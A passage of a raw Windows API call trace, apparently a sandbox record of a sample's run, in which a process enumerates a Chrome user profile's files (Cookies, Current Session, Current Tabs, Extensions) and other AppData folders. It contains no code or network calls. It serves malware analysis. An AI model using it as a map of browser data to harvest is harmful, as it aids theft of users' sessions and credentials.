lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895d2885, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SA1DA3~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895f8ae9, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAE914~1")) returned 1 [0195.945] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0195.945] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subresource Filter", cAlternateFileName="SUBRES~1")) returned 1 [0195.945] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0195.945] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0195.945] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.945] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x12fea58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x4d [0195.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x12fea24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x4d [0195.945] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x12fec98 | out: lpFindFileData=0x12fec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0195.946] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.946] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.946] FindClose (in: hFindFile=0x139b038 | out: hFindFile=0x139b038) returned 1 [0195.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x12fea58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x3e [0195.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x12fea24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x3e [0195.946] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x12fec98 | out: lpFindFileData=0x12fec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0195.950] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.950] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0195.951] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0195.951] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x185e4d86, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0195.951] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.951] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0195.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.951] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x12fea58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x3d [0195.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.951] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x12fea24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x3d [0195.951] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x12fec98 | out: lpFindFileData=0x12fec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.951] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x9f02dca3, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0x19d2b409, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295d523, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295d523, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1a4ae535, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295fc2f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295fc2f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1a4d473c, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x19bf2c75, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a1c3f11, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session", cAlternateFileName="CURREN~1")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb35381ed, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xb35822e2, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x5b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Tabs", cAlternateFileName="CURREN~2")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35f691bb, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x35f691bb, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x35f6ba07, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="databases", cAlternateFileName="DATABA~1")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1876251a, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1876251a, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xbaa74981, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xbaa74981, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~2")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x19e096af, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x19e096af, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~3")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xac3ffa8d, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xac3ffa8d, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242d194, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242d194, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3c6bdc4a, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1 [0195.952] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242f8b3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242f8b3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3cacb5ed, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1 [0195.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0195.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x27 [0195.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c0) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff07c) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff088) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff060) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff01c) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.964] 